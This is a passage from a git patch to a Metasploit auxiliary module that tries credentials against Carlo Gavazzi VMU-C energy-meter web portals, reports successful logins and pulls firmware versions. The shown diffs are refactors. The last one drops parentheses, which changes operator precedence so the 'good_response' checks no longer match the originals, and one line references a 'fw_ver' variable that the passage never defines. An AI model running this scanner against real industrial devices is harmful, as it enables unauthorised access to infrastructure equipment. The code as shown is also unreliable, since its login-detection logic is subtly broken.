#{fw_ver_clean}]", - user: user, - password: pass - ) - end - end - end - - if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) - fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) - - if !fw_ver_dirty.nil? - fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) - - if !fw_ver_clean.nil? - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]", user: user, password: pass ) From 2d8e3c73f5d0cc963e401392317ff987b54b39c6 Mon Sep 17 00:00:00 2001 From: juushya Date: Tue, 7 Mar 2017 00:20:05 +0530 Subject: [PATCH 6/6] Minor edits --- .../scanner/http/gavazzi_em_login_loot.rb | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 96ba5c836f..96d9d7d8b1 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -69,7 +69,13 @@ class MetasploitModule < Msf::Auxiliary return false end - if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) + good_response = ( + res && + res.code == 200 && + res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC') + ) + + if good_response vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") return true else @@ -138,7 +144,14 @@ class MetasploitModule < Msf::Auxiliary return :abort end - if (res && ((res.code == 200 && (res.body.include?('Login in progress') || res.body.include?('Login in corso')) && res.body.match(/id="error" value="2"/)) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php'))) + good_response = ( + res && + res.code == 200 && + res.body.include?('Login in progress') || res.body.include?('Login in corso') && + res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php') + ) + + if good_response print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") # Extract firmware version